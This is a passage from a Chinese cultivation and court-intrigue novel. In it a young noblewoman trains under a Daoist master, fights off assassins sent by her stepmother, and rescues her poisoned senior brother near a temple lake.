宏安道长看着这主仆二人,彼此着想,她本也可以偷偷教这小丫鬟,却选择了尊重自己。他并不介意自己的本事被他人学了去,游历时遇到心诚之人也时常点拨。
“起来吧,并非什么大事,以后你就一直跟在归芸身边吧,能学到多少就看你自己的本事了。”
莲夏又磕了两个头,道长不计较,她不能不感恩,她只是一个婢女,这于她来说是天大的恩惠:“莲夏拜谢道长!”
“修行之路,侧重不同却又殊途同归,到最后都是追求领悟大道,渡劫飞升。当今天下修道与以前大有不同,可分为引气、开窍、先天、养神、返虚五个大境界。此间大道隐匿,灵气逐渐稀薄,修道之人也越发少了。近几百年来无一人能到返虚境大圆满,更别说引动天雷渡劫飞升。便是我已到达返虚境初期,也不过比世人多活几十载,哪有希望得以飞升、得窥仙人之境。”
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“不过像你这般资质之人,于我此生也是第一次见,不知你将来能到何等地步。”
宏安道长看着孟归芸跪坐于蒲团上,安静地聆听,他的眼神带了一些希望。
“我们宗门名为一元宗,祖师爷本是全真教的嫡传,后下山历练走出了自己的大道。因此得以另立山门,称宗道祖。我派以武入道,其他丹药、符箓之道为辅。以武入道,并非只注重对身体的修炼,更重要的是通过锤炼身体,来强化肉身、增强元神,以此达到身、神统一、肉身成圣的境界。”
“由于你以前对武学并无了解,为师先教你一些引气的功法。”
今日剩余时间也不多,孟归芸便主要是听师父讲了一点入门的知识,并教了呼吸之法,让她时时练习直到形成习惯。
结束训练时,宏安道长叫住她:“下午你打坐时,我本想替你解决梦魇之症,可竟有浓郁黑气缠绕其中,我无法窥视。你这梦魇应是沾了因果,若你愿意告诉我,我或许有解决之法。”
“不瞒师父,我并不知这因果为何,但我总是梦到母亲惨死,而我报仇无果,甚至也因此而亡的景象,想必是这报仇之心太过强烈所致。”
“可我观你面向平和,双眼清明,身上并无戾气,想来是你体质特殊,若是寻常手段,难以探查你的真实情况,强行探查,恐伤你身体。”
“如此,我便教你一个明心诀,这个功法可凝神聚气,壮大神魂,练习一段时间后,或可以帮你拂开这梦的表象,看到真实。”
宏安道长又拿出一张符纸放入一个绣有龟纹的荷包里,交给孟归芸:“此符有镇静安神之效,能暂时隔绝一些邪崇之气,你随身携带,睡觉时就取下放在枕下,看看能否有效。”
孟归芸接过荷包,又拿在手里细细看了一番,这龟纹细看并不十分规整,乃是金线绣成,布料也有带有同样的暗纹。
宏安道长解释道:“这龟纹乃是我们门派的标识,纹路顺着光线看,可看到‘一元宗’的甲骨字样。”
“这暗纹织起来可不容易,想来得不少银钱。”
“哈哈哈,为师有的是钱,缺钱了找师父要,别客气!”
“谢谢师父。”
真不客气啊,好好好,小徒弟赤诚。
孟归芸坐在妆奁前由着莲夏帮她梳着头发,想着昨夜的梦并无多少变化,看来这符对这梦的用处不大,今天就开始练习明心诀好了。
外头有丫鬟来报,说是得了她的信。
是谁呢?
6. 引气入体
坏了,回来这两天,竟忘了给她去信报平安。
果不其然,信展开第一句就是:“好你个孟归芸,枉我在家为你担惊受怕,你到家了,竟没及时给我带个信儿回来,这快马送来也就半天,我今个在家苦等了一天!”
孟归芸嘴角噙着笑,清莹也太着急了,一天没等到就连夜写了信送过来。也怪她不好,这胡氏本就是个心肠恶毒的,收不到她的信,清莹难免忧心是否发生了什么意外。
信里语气写着写着就软了下来,满篇尽是关心和担忧。
孟归芸提笔回信,先给谢清莹认错道歉,又告知她胡氏派人路上截杀的事。于她们而言,修道这等事实在有些不可思议,为免她再担心,只说自己被一路过的大侠所救,最后与她讲了些家里的琐事。
写完让莲夏拿出去交给小厮送去驿站,用了点早膳后便去找师父继续练功了。
今日开始尝试吸纳外界的天地元气,将其引入体内气海,宏安道长将修炼方法讲解后,孟归芸便开始试着运功。
打坐静心,四周如她的内心一般静谧无声,随着心神沉静,功法逐渐进展,她似感受到周围空气中微弱的波动。
孟归芸尝试讲这股气流推动,引入体中,灵气不断汇聚,沿着经脉运行,身体似乎也变得轻快,终日因睡眠不足而有些混浊的脑海也清明了一些。
孟归芸沉浸修炼中,没看见宏安道长在她引气入体时,缓缓从椅子上站起来,眼珠子都要瞪出来了。
引气虽为基础入门的境界,但当今天下灵气本就匮乏,这也是普通人与修道之人的一道屏障,从零到一实属不易。
正常来说,资质一般的学会引气都得一年,资质稍好的半年也可入门,他可是当年宗门里的天才,仅用了三十二天便成功引气入体。
别问他为什么记得这么清楚。
便是他游历多年才选中的大徒弟,天才中的翘楚,也用了二十六天才成功引气入体。
小徒弟竟然开始引气的第一天便成功了!
虽之前就看出她与这大道契合,却仍没想到修炼如此神速。常人修炼,引气入体,好像大浪淘金,万缕天地元气入体能有一缕留于体内,稍有天资者,百者存一。天赋再高一些如宏安还有他那大徒弟,能做到十者存一。
可这小徒弟,就好似一块磁铁,引着源源不断的天地入体,完全吸纳一般几乎不见散溢。
以宏安几十年的见识,也从未听过有人有如此之快的修炼速度。而且又为何自己修为都已至返虚境,却堪不破这小徒弟一个区区梦魇?
古怪古怪!
老道士双眼茫然般看着入定修炼的孟归芸,想着如果这徒儿再有些奇遇,指不定能成为这几百年来第一个能够飞升的人吧,到时候这方天地说不得也能发生一些奇异的变化。
时间缓缓流逝。
孟归芸收功后睁开双眼,旁边的莲夏虽始终不得要领,却仍在努力尝试,孟归芸不起身,她就不起身。
天色已暗,师父已点了灯,背光而坐,看不清神色。
“师父,今日引气我应是比较顺利,现下感觉身体十分轻盈,头也舒服了许多。”
“嗯,不错,你成功引气入体的速度已然十分快了,也正是由于速度太快,需尤为注意身体的变化,要小心灵气汇聚太快于某一处,造成经脉堵塞。若遇此种情况,也莫要突然暂停,减缓速度,试着小心引导体内灵气即可。”
“这之后你每日都需自行练习引气入体,明日过来我便开始教你入门的武功招式,回去早些休息吧。”
“是,师父。”说罢扶着差点站不起来的莲夏慢慢回去了,莲夏本来还有点扭捏,怎么能让小姐扶自己呢,发现自己真的走不动,又只能嘿嘿一笑,乖乖搭在孟归芸的手臂上借力。
几日之后,孟归芸再次去找宏安道长修炼的时候,宏安却告知道,修炼一事应该张弛有度,不可一味的求快求勤,太过沉溺其中而不去感受世间万物,恐会留有许多遗憾。
辞别师父的孟归芸才惊觉这几日竟与家人毫无联系,老太太定然想她,却纵着她如以往一般自我。
赶紧去找老太太,大舅母和表嫂正在陪着老太太用早膳,听大舅母说,今个老太太难得贪睡,起得晚了些,大舅早早就去上值了,表哥在书房学习。
“昨个晚上安和同我说了,那胡氏的父亲胡戴宇,如今是户部左侍郎,而且冯首辅似有意将他推到户部尚书的位置。所以虽然安和也投靠了首辅,但以林家目前的势力,根本没法同胡家相比,首辅那边是偏袒胡家的。”
魏曼菁看了看老太太的脸色:“更别说当初咱家得罪了好些官员,安和这几日联系了好些家,都只表面应付着他。调查胡家之事,只能从胡戴宇的手下入手了。”
当初林老爷做督察院副使时,铁面无私,办案不留情面,得罪了很多人。他还在位时大家都畏惧他的权力,不敢有所动静。但现在林家不得圣宠,家里官职最高的林安和,也不过是五品官。更别说现在要出手对付一个户部侍郎,不落井下石都算好的了。
老太太只嗯了一声,魏曼菁看了看孟归芸,这丫头一副若有所思的样子,才想起来这些事向来没跟她说过。
魏曼菁用眼神询问老太太,老太太点点头,她便道:“归芸,从前你性子太过内敛,只喜在家看书作画,我们也以为林家再不成器,也还能像庇护你母亲一样,庇护你一辈子……”
“之前听闻你母亲去了,虽老太太伤心。但却没有多想,平日里你母亲也是说着你爹的好,想着那孟鸿远总归是疼爱你们母女俩的。谁曾想竟是被毒害,如今你要为母亲报仇,这些事也该同你说了。”
孟归芸放下筷子:“外祖母,大舅母,表嫂,我知道的,从前归芸在你们心中还是个孩子。但经历了母亲被毒害,我自己也差点被溺死这些事,我想我也该长大了。我不能一直在你们的背后,害你们担心,被你们护翼着,今后的事我想与你们一同承担。”
老太太和魏曼菁很是欣慰,看着孟归芸如今这样子,比从前成长了不少。
老太太看了丁妈妈一眼,丁妈妈命人将
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桌上食物都撤了,将下人连同几个主子的贴身丫鬟都安排了出去,自己亲自在门口守着。
老太太慢慢将自己知道的与孟归芸说起来:“先皇治政才能不高,在位时便压不住下面的大臣,留下了一堆烂摊子。最要说的就是这冯首辅,他身份特殊,不仅当今皇后是他的侄女,更是先皇六儿子,如今晖王爷的亲舅舅。冯首辅当初靠着亲妹妹是皇上的宠妃,终于在先皇临终前两年当上了首辅。”
“这些年来冯首辅势力越来越大,皇上虽贵为一国之君,在处理朝廷之事上却有心无力,幸而还有一批官员坚定地站在皇上这边,不至于成为冯首辅的一言堂。”
“也有保持中立的官员,只效忠于大成国正统皇室,但这皇帝是谁于他们而言并不是最重要的。这中立派为首的便是你闺中好友谢清莹的父亲,礼部尚书谢明瀚。”
“咱们林家本是开国将门,只是这大成国已建立了近两百年,越来越重文轻武,林家后来的子孙也大都开始从文,却好似并无天赋,一路走了下坡路,到你外祖父这一代,还算是有些本事,坐到了督察院副都御史的位置。”
“原本你大舅与你外祖父一样,都效忠于皇上,直到你外祖父因为被人诬陷入了狱,在狱中悲愤交加,还未等调查结果出来就去世了。你大舅深受打击,认为这一切皆是因为皇上的昏庸无能所致,转头便投靠了冯首辅。”
“然而即便如此,最后的调查结果也没能替你外祖父翻案。幸好皇上念及林家的开国之功,也顾忌你外祖父在民间的声望,你大舅方能继续做着这五品官。”
孟归芸秀眉微蹙,心想着以大舅的为人,即使是心有不甘,也不至于会因此投靠冯首辅,于是道:“可在我心里,大舅并不是这种人,他这般实非上策。我也听清莹说过一些,这冯首辅乃是奸臣,为了拉拢其它官员壮大自己的势力,纵容手下贪污受贿,甚至卖官敛财,不顾民生大计,搞得民间怨声载道。”
“且听您与大舅母所说,即使大舅归顺于他,他也并没有为外祖父翻案,还是大舅一人在为此奔波。如今林家又与胡家对上,冯首辅正指望着他们能坐上户部尚书,更不会帮我们了,说不得为了安抚胡家,还会将林家做了人情。”
李竹君实在是插不上话,她本就是林家被贬到东安府后才嫁给林安和的儿子林世维,两人年纪都才将十八岁,林世维没有官职,受这些事的影响,他索性只在家安心读书,打算通过科举入朝为官。
但李竹君清楚,林家人从没当她是外人,从娶她进门后,婆婆和祖母待她都极好,从前说话没有避着她过,今日也将她留下一起,是将她完全当作家人的。
老太太叹了口气,魏曼菁满脸愁容:“我们也不是没有劝过他,但你大舅咽不下这口气,他说,林家用心辅助之人,并未护我们分毫。”
“如此,只能请大舅母再与大舅说说,让他小心行事,莫要被胡家逮住了把柄。外祖父一事已经过去如此之久,即便另有隐情,也不是那般轻易能调查出来的。”
“好,我再与他说说。”
7. 刺杀
也不知是否因为之前追杀孟归芸的人一个都没回去,引起了胡氏的忌惮。这一月有余竟没人再来生事,过得极为平静。
孟归芸的修炼也是大有长进,体内的气海元气几乎满溢,到了引气大圆满的境界,宏安估摸着近几日她就要突破了。
傍晚,敛息收功的孟归芸,隐约之间感觉林家周围有人在窥视着,想来是胡氏坐不住了。
孟归芸特地去找了师父,验证自己的猜想。
宏安赞赏地看着她:“你所感觉的不错,昨天半夜他们就摸黑来了,许是打算先观察,并未直接动手。这些人的修为也不深,索性师父就没动手,把他们留给你练练手,正好检验一下你这一个多月的成果。”
孟归芸点头应是,想了想又让莲夏去通知老太太和舅舅他们,倒不是要让他们给与援手,只是怕家里人关心则乱,打草惊蛇。莲夏武道修为尚浅,便也让她同精锐的家丁一起留在了老太太身边。
直到深夜,屋外的那群人终于行动了。一共五人,都身着夜行衣,两人守在后院附近。一个矮胖的、一个瘦高的两人一起,朝着孟归芸闺房而来。还有一人留在林家大门外的大树上,想来是做为接应的后手。
两个黑色人影敛息轻踩脚步,用刀尖顶开了孟归芸闺房的门栓。矮胖的一人走得稍微快些在前,瘦高的那人落后几步,巡视着后方。
孟归芸将被子裹成桶状,再在面上盖上一床被子,自己躲在床头一侧以帷幔遮挡。
前面这人走到床前,只见床上似躺着个长条状的人形。正待近一步用刀捅去,孟归芸从床侧窜出,气随心动,沿臂而生,右臂便朝着那人脖颈横批而去。矮胖黑衣人躲闪不及,头挨了一巴掌,彷佛被铁板拍了,眼冒金星,脚步也不由得虚浮几分。
“小心!”后边的瘦高黑衣人急忙出声,并加快脚步上前。
趁你病要你命。
孟归芸变掌为拳,右拳再度朝着矮胖黑衣人的太阳穴而去。
“咚!”遭受猛击,那人双眼爆出,血顺着眼眶流下,瘫倒在地。
一招得手的孟归芸还未缓一口气,瘦高黑衣人的刀已至身前,只能往地上一滚,起身时带着腿向他腰间扫去,黑衣人退后一步躲过。
两人面对而立,黑衣人察觉不对,情报里明明说这女娃子不会武功啊!难不成还能一个月就变成高手了?
孟归芸一见他分神了,立马上前一式空手入白刃,虽未成功夺刀,却也将他手中的刀打落掉在地上。
黑衣人来不及震惊,只想往出跑,好跟其他同伴汇合。刚要冲到门前,却收势不及,撞在了刀尖上。黑衣人嘴角溢血,头颅逐渐低垂,这女娃子速度真快啊!
可惜孟归芸并不想让他做个明白鬼,干净利落的抽出刀,再走到床前给矮胖黑衣人补了一刀。
守在后院的两人半天不见同伴出来,察觉到不对劲,赶来的时候正巧碰上走出房门的孟归芸,不由分说便是拔剑而上,和孟归芸战成一团。
解决了大树上那人的宏安道长回来时,孟归芸还在院子里跟剩下的两名黑衣人战斗。
她本就没有太多实战经验,刚刚再闺房杀了两名黑衣人已是占了出其不意的便宜。现在正面对决两个多年习武的人,稍显吃力,额头也渗出汗珠,左臂已被划了一刀。
“师父!帮我!”
宏安正准备出声指导,闻言有些惊讶,孟归芸练武时一直都非常认真刻苦,从未喊一声累,他还以为她是打掉牙齿和血往肚子里吞的性子:“左后两步,倒撩。”
“右前一步,直拳。”
孟归芸跟着师父的口令,向左后退了两步,将将避开其中一人的刀,随即向右前方直拳冲击,打在了另一人的心口处,将那人震开两步。
不由得心中一喜,还得是师父。
“凝神!前三步,锁喉。”
孟归芸心神一凛,身体快速向前,右手成鹤爪,锁住对方咽喉,食指拇指齐齐用力一错,便把手里的尸体向右荡开。
后面那人刚躲开同伴的身体,却将被随后而来的孟归芸一脚踢飞,朝着宏安而去。宏安轻描淡写般挥出一掌,似赶苍蝇一般,拂在那人身上,那人身形瘫外,落在地上再也不动了。
第一次跟人对战就是生死搏杀,孟归芸有些乏力。还未缓几口气,本该在内院的莲夏便冲了进来,扶住了孟归芸,老太太和林安和他们也急急地跟在后面赶了过来,看着她身上溅上的血迹,被划开的手臂,想掀开破了的布看看如何了,又不敢碰。
宏安看了一眼伤口:“无碍,刀口不深,无毒,一会儿我用白酒给她先冲洗一下,再给她敷上药膏包扎,不会留疤的。”
孟归芸拍了拍老太太的手:“外祖母别担心,有师父在,这点小伤不算什么。”
老太太其实想得也开,自从知道了孟归芸拜了师,心里也是有准备的,这丫头肯定得吃不少苦,但这亲眼看见,还是难受啊,一个原本娇弱的闺阁小姐,如今浑身沾满鲜血护在他们前面。
老太太反握住孟归芸的手,声音颤颤的:“外祖母知道,都知道。咱们也别在这儿围着了,让芸儿随他师父去包扎吧,完了好早些休息,外祖母明天过来看你,啊。”
林安和看着外甥女,心下暗暗道,二弟去边关了,家里现在就自己一个男子,也要将武功练起来才行。
孟归芸笑笑:“这点伤哪就要您过来看我了,明早我自己来找您,让您看看我身体有多好。”
“好好好!”
孟归芸被莲夏扶着跟着师父进了房间。
宏安将几种药草摆出来:“正好可以开始教你一些丹药知识了,从认识药草开始吧,这是……”
“白及。”孟归芸脱口而出。
宏安抬头有些惊讶:“你学过医?”
孟归芸摇摇头,她自己也吓一跳,看见就认出来了。
“那这个呢?”
“紫珠叶。”
“三七。”
“地榆。”
这是真认识!宏安又问到:“你以前看过医书?或者你接触过这些?”
“我从来没有接触过这些,但就是一看它们就知道它们的名字……”
“你是不是失忆记不起来了?”
“应该没有吧……”
莲夏忍不住了:“小姐肯定没学过这些,小姐五岁时我就跟在她身边了!”
宏安心里的疑问越来越多:“那你知道这些药草都有什么效果吗?”
“都可以止血。”
“那你可知如何将它们搭配用药,或者将其炼化?”
“不会,师父,我只知道我认识它们,就像认识莲夏一样,我知道莲夏的名字,也了解莲夏的性格。”
好生奇怪,没有见过没有学过,便能认识药草,甚至知道
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药草的药效。虽说他活了几十年,也没有见过妖怪,但这小徒弟身上发生的事,实在太超出他的认识,总不能是什么灵物日积月累吸收天地精华化成人形了吧?
幸而这小徒弟周身散发之气十分柔和,并无阴暗躁动的感觉,即使是妖,也是个生性纯真的好妖。
罢了,顺其自然顺势而为吧。
宏安将药膏递给莲夏,让她给孟归芸涂上,又教她包扎,便让她们先回去休息了。
梦里,还是那个场景,还是那个声音,忽地,孟归芸身体里的气海开始涌动,梦境开始摇晃。
灵气终于从气海冲开,流向身体的各个窍穴,梦境渐渐稳了下来,嘶吼的声音似被什么罩住,梦里的场景也被一团团的浓雾遮掩,一切都变得朦胧。
孟归芸睁眼,天已亮了,自己已成功突破引气,进入开窍,之后就可引导天地元气冲击身体的365个窍穴,将窍穴冲开,从此天地元气便不止可以在气海炼化,还可储存在窍穴之中。
看来这修炼进度可以影响到梦境,说不定突破了开窍以后,这梦境还能再有不同,到时说不准就能知道为何自己复生后,与之前这般不同。
孟归芸起身,今天与老太太聊完,就赶紧回来找师父继续修炼吧。
这天,魏曼菁带着李竹君过来找了孟归芸:“芸儿,打你来了以后,还没出去过吧,这东安府也有不少景色,想叫你明天同我们一起出去逛逛呢。”
李竹君笑道:“本来上个月母亲就打算叫你一起去,结果还没来得及说呢,你就受伤了,后半月又是谷雨,下着雨也不便出门,这一耽搁,竟都五月了。不过这将将立夏,正适合出游呢,花儿也开了许多。”
“说起来我都来了两月了呢,那明日我便同师父请个假,师父肯定也很开心,他来了就一直陪着我呢,也没出这院子。大舅母与表嫂明日打算带我去哪里呢?”
魏曼菁一脸笑意:“我都想好了,咱们去承光寺吧,这段时间发生了这许多,我想为家里人求个平安。你别看它是个寺庙,这承光寺乃是皇家寺庙,修得极为壮观。不仅能拜佛,还能游玩,寺庙后边有一个翠影湖,湖边修了亭子,绿树相映,漂亮得很,只允许官员及其家眷过去,也算是个清净之地呢。”
孟归芸眉眼弯弯:“好,那明日咱们陪外祖母一起用了早膳便出去吧。”
承光寺建在骆驼山的山腰上,这骆驼山并不高,且坡度平缓,马车出行倒是十分便利的。
魏曼菁和李竹君两人带着贴身丫鬟共乘一辆马车,孟归芸和莲夏一辆马车,路两边有些摊贩叫卖着,引得孟归芸掀了帘子一角往外看。
好热闹啊,印象里她似乎没怎么上过街。
马车慢悠悠地到了承光寺,几人下了马车,便有知客僧将她们引了进去,这寺庙人来人往,确实香火旺盛,几人将这寺庙转了一圈,魏曼菁和李竹君便要去祈福了。
孟归芸不信这些,况且她已有宗门,祭拜这些也不合适,便与她们说自己先去那翠影湖转转。
有僧人将她带到了去往湖边的路口,朝着湖一路走去,寺中杂音越离越远,两边皆有绿树成荫,阳光洒落在路面只剩斑驳的光影。
微风带着青草的气息拂来,偶有几声空灵的鸟鸣,看来今天来得正是时候,这里只有她和莲夏,好生惬意。
不对!孟归芸猛地拉住莲夏往旁边大树后躲去。
8. 捡人
未待莲夏站稳,一只握着剑柄的手从孟归芸身侧穿过,孟归芸又带着莲夏向后退去。
对面这人身形中等,身着灰衣,头上和面部均用布做了遮掩,肩上扛着一名男子。
未免二人泄露行踪主子的行踪,灰衣人本只想将这两名女子从后面敲晕,谁知这女子武功竟然不错,躲了过去。心里念了一句对不住了,只能请二位去死了。
灰衣人视线扫射二人,却撇见这女子佩戴的荷包,竟是与主子身上的荷包花纹一样。
是主子同门!
孟归芸眼瞧着这灰衣人在短短几秒,从身上散发出杀气到收敛气息,再到将身上扛着的人放到她面前,之后竟又一溜烟儿跑了。
莲夏也被这人整懵了:“小姐,这什么情况啊?”
“不清楚,先藏好,以免还有人来。”孟归芸瞅了地上的男子一眼,沉思几息,便俯身提起,将他带到树林更深处的一块大石头后面。
这时方才有功夫仔细打量这人,此人身形倒是高大,穿着与刚才那灰衣人一般无二。孟归芸取下他的面巾,面容清俊,还带着未褪完的少年气。翻过身子见后腰有一道伤口,虽然很浅没伤到要害,但看着伤口周围的血肉已经泛着紫,想来凶器上定是抹了毒。幸好他穴位封得及时,人虽昏了过去,但毒性却没扩散太多。
孟归芸右手探入少年的胸襟处,想搜搜有无能够得知少年身份的物件。
额,看不出来这少年还挺有料啊!孟归芸摸着少年的胸肌内心感慨道。
“小姐,怎么了?”莲夏见孟归芸顿了一下,于是问道。
“没什么!”
银票,玉佩,荷包。而且荷包上的龟纹,与她的一样。
难怪那灰衣人把人给她了,应是看见她身上的荷包了,想来离开是要去引开追杀之人,这附近暂时还算安全,但也得赶紧离开了。
不能再从原路返回,只能绕路从树林穿过去。
孟归芸扛着男子小心往外走去,约莫走了一刻钟,前面走不动了,树林和停放马车的院子还隔着一堵墙。
孟归芸能感觉到墙外面还有人在走动,她放下男子,跳到树上,透过密密麻麻的树叶往前方看去,幸好,只有两三个人。
孟归芸脚尖轻轻落地,想着莲夏如今也有点底子了,这墙对她说应该能翻过去:“莲夏,你从前方十米处翻进去,那里是个没人的巷道,翻过去不会被发现。想个办法把他们都引开,再去与大舅母和表嫂知会一声儿,就说出了点事儿,今日须得先回去,到家再与她们细说,我在马车上等你们。”
莲夏一脸严肃,点点头便去了。
孟归芸凝神注意墙外的动静,落地的声音似乎有些重。
莲夏揉了揉屁/股,低头看了看,又摸了摸头,衣服和头发已经够凌乱了,往后面又走了一些距离,这样他们就看不见小姐了,随后深呼吸一口气:“救命啊!!!”
“怎么了?”
“发生什么事了?”
趁着墙外的人都往莲夏那边去了,孟归芸将男子扛上,脚尖一点便越过墙头,直奔马车而去。
好在车夫也被莲夏那边的动静引过去了,不然还不好将这受伤的少年放进马车里。
顺利将男子带上马车,刚才还未来得及仔细检查,孟归芸运气灌入男子体内,并未引起排斥。师父说过自己宗门这一派修炼出的元气能够互相兼容,不会有排异反应,最适合疗伤。
看来确实是宗门的人,不过这毒凭她现在的修为暂时解不了,她也没有合适的解药,得回去找师父。
外面的动静渐渐小了,车夫也回来了,跟旁边的车夫闲聊着。
过了些许时候,莲夏带着魏曼菁和李竹君一起赶了过来,分别上了各自的马车。
车夫看着莲夏进了马车,帘子开合之间瞧见里面似乎还有一个人影,又听得她叫了声“小姐”,吓了好一跳,小姐什么时候上的马车?随后开始回想这期间自己有没有说什么不该说的。
莲夏放下帘子时,看见马夫的表情,嘴角都压不住,太好笑了。
到了林府,莲夏让她们的车夫先到大夫人和少夫人那边去帮忙,随后帮孟归芸打掩护。为了避免一路遇到其他人,孟归芸小心避着人扛着男子,绕到房子侧面直接翻墙进了自己院子,还未进屋就碰见了宏安。
宏安察觉到有人在附近鬼鬼祟祟的,出来查看,就看到了孟归芸背了一个人跳了进来,那人看着都快把她盖住了。
“师父,我捡了个人,他有跟我一样的荷包。”孟归芸说着的同时,伸手将那男子的荷包递给了宏安,“就将他带了回来,他中毒了,我没有解药,暂时修为也不够,只能带他回来找您了。”
宏安一看这荷包,有点不淡定了:““这是你师兄!将他给我吧,去我房间,我来给他疗伤。”
幸好自己当初觉得这布料好看,定做成了带有宗门标识的荷包给了他俩,不然大徒弟可能就遭老罪了。
江元郁悠悠转醒,许是余毒未消,让他还有些不清醒,迷迷糊糊看见了一个中年女人。
眨巴眨巴眼睛,中年女人正一脸担忧地看着他。顺着往旁边一看,稍远一点还站着一个年轻女子,光线从她背后晕开,看不清面容,不由得伸手,想把她招到近前看看……
“啪!”
这一巴掌打得江元郁脑子都清灵了不少,刚才还一脸担忧的中年女人此刻正瞪着他:“醒了吗?朝你师妹伸什么手!”
师父的声音!
江元郁哀怨的看着宏安:“师父,您好端端的变成女人做什么,要是不换回声音,我都认不出来。”
宏安换了一脸慈爱的笑容:“你师妹还是未出阁的小姐,师父住在府里每天与她接触,府里又有许多下人,这些下人不比自己亲人,我不易容成女人恐惹人非议,我一个修行之人倒是无所谓,但你师妹却还小。”
师妹?
江元郁又看向了那个背着光的女子,女子上前一步唤了他一声师兄。
终于看清了她的面容,眼神清亮,秀鼻微挺,身形有些柔弱。
江元郁不由放轻了声音回道:“师妹。”
宏安看他已完全清醒,想到徒弟已至先天境,一般人可伤不到他:“你
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这次中的毒可不轻啊,蛮族秘药,催魂散。”
江元郁垂眸:“是徒儿大意了,跟歹人相斗时。那人剑气射向了路边的小孩,我便护在了身后。谁知那小孩竟然是使了缩骨功的贼子伪装的,一时不察,被他捅在腰上。”
“现在想来,那人与我起冲突的时间、地点都是经过精心设计的。有这般势力的人,又想对付我的就那么些人,但具体是谁,还要再去细查。”
“嗯。”宏安想了想,又转向孟归芸:“归芸,你看你师兄他如今受伤了,还需继续治疗,可否与我一起暂住府上?”
孟归芸冲师父笑笑:“师父见外了,他是我师兄,这有何不可呢。”又转头看向江元郁,“因为我练功是不让下人们知道的,所以院子除了些每日要来打扫送饭的仆人,也没有什么人来,我另在院子里给你寻一间吧。”
宏安接道:“不用这么麻烦,他现在也不宜挪动,就与我一同住吧,外头还有个隔间,我就睡那儿吧。”
“也好,师父的房间是一早就交代了不许人进的,要更稳妥些。”
说罢孟归芸便走了,还得与大舅母她们说一声呢。
大舅与大舅母对视一眼,有些担心,虽说是师兄,可到底是个年轻男子,住在芸儿的院子,怕是有些不妥,但一想到她最近的转变,又想到宏安道长是个十分有分寸的,且老太太都没说,两人也就忍住了。
房间里,江元郁奇怪道:“师父,这小师妹看着有点柔弱啊。”
宏安撇了他一眼:“是这柔弱的小师妹将你扛回来的。”
江元郁一噎,旋即道:“您当初收我的时候,不是说我天资卓越,已经是天才中的翘楚,是您苦寻多年的衣钵传人么吗?还说今生有我这么一个徒弟就满足了。”
宏安神色有些不自然:“那是我那时候太年轻,没见识,哪知道还能有你师妹这样。”
“您这意思是师妹比我还厉害?”
“再让你小师妹练一年,能打你这样的两个。”
“您都说我是天才中的翘楚了,那她是什么?”
宏安压了压声音,有些神秘道:“天才是形容人的,你师妹她已经不在这个范畴了!”
江元郁眉毛一挑,眼睛瞪得老大:“您是说师妹她不是人?”
“啪!”
头上挨了一巴掌。
江元郁有些幽怨地看着宏安,师父以前从来舍不得打他的,这有了师妹,短短一个时辰内,他已经挨了两巴掌了。
“瞎说什么呢。不过你师妹这天赋确实远超一般的天才,我从未见过如此与天道契合的人。我收她为徒时她还不知何为修行,但学习引气的当天她便成功引气入体了,才不过两月有余,如今她已到开窍境了!”
江元郁再次瞪大了双眼:“什么?!”
他当初一年进入开窍,师父乐得走路都是摇着走的。
宏安看着江元郁的表情,很是满意,大徒弟来之前,他每每被孟归芸震惊时,都觉得有些孤独,因为众人都不知道孟归芸这般修行速度意味着什么。
果然,还得是跟懂的人一起。
9. 搬出林家
江元郁忍不住好奇道:“咱们宗门以武入道,师妹接触武道不久,想来实战经验还有所欠缺,师父您之后还有其他的安排吗?”
说到这,宏安想起林家上月的情形,脸上的笑意收了起来:“实战经验倒是有了一点,你师妹也是个苦命孩子,这几年日子也不好过。她本是京城孟家女儿,结果继母先是害死了她母亲进了门,现在又想置她于死地,她这才想法子逃到了林家。”
“林家?原是督察院副都御史的那个林家?”
“我哪儿知道,我也没问,朝堂上的人我又不怎么认识。”
江元郁随即想到这里是东安府,林家大爷就是被贬到这儿的。屋子宽敞,陈设虽不奢华,但这红木也并非普通人家能用得起的,想来就是了。
看着江元郁一副若有所思的样子,宏安知道以他的身份,与朝廷官员的关系颇为复杂,怕是与这林家也有些说法。
他向来也不多问,便继续道:“原本你师妹在回林家的路上就遇到了追杀,那也是我第一次遇见她,帮她解决了。上月她那继母又派人来追杀,我也就利用这机会带着她练练手了。”
“至于之后的安排,可能还得再征求一下她的意见,我想等她开窍大圆满后,带她出门游历。”
江元郁点点头,师父当初说过,踏遍山河,见不同的人,经不同的事,方能看得见自己的道。
第二日,宏安从外面回来,给江元郁带了几身跟他身上差不多的衣服,灰扑扑的,看着很不起眼。
又将孟归芸叫来,给了她一把剑,剑鞘只中间竖着刻了一些龟纹,剑柄上镶嵌了一颗与她拇指一般大小的玉,洁白盈润,手指抚去,饱满细腻,镶嵌得极好,仿佛这玉本就长于这剑柄之中。剑身只在顶部刻了一个小小的龟壳,稍不注意就会忽略它,剑刃在光线的照射下闪烁着寒光。
江元郁看着这柄剑,心里有些吃味,师父送他的第一把剑也是把好剑,但就是怎么看怎么没有这把漂亮呢?
“这是为师特地找人为你打造的佩剑,与你师兄一样,皆是玄铁而成,今日得信终于好了,便去为你取了回来。望你今后坚守道心,无愧于己。你给它取个名字吧。”
“好漂亮的剑!谢谢师父,我会好好珍惜的。”孟归芸抚着这把剑,心底不免有些激动,她有自己的剑了,她很喜欢,“就叫它玉龙吧。”
江元郁来了这两天还是第一次见她有这样大的情绪起伏,看着她开心的样子,心里那点吃味都消失了。
师妹把自己救了回来,要送她点什么呢?
靠着宏安的丹药和修为治疗,江元郁休养了这些日子,已基本如常,只剩一点余毒,慢慢调养即可。
早先就拜托了师父去一趟承光寺,将自己的记号留下。
夜黑风高,灰衣人跳到院子里时,孟归芸正在房间门口静静的盯着他。
跳进来之前明明看了没人的啊。
灰衣人强行淡定地冲她抱拳行了个礼,孟归芸见是上次把师兄给她的那个人,给他指了指房间,便转身关门进去了。
灰衣人来报:“主子,小的脱身后,反去跟踪他们,看着他们最后进了一家客栈,里面住着的是梁国人,这人是梁国四皇子派来的,想杀掉您挫皇上的锐气乱将士们的军心,来取悦梁国皇上。还未查到他是从哪儿得了您的踪迹。其他暗卫那边暂无消息传来。”
“自我下山以来,时常会使用师父教授的易容术,以免被盯上。能够识破要么是有修行者辅助,要么就是他们一早就知道我做了伪装。”
“此前暗三回禀说过,首辅府上一个月前曾打开中门迎接过一个道者,想来应是跟这件事有关。”江元郁沉吟道。
“而且这次我中的毒是蛮族摧魂散。这种毒药一般人根本没法得到,恐怕首辅府、梁国、蛮族之间已搭上线。通知暗八暗九,顺着这几条线索去查。但切记一切以保存自身为前提,事有不虞,立即撤退。”
“是。”
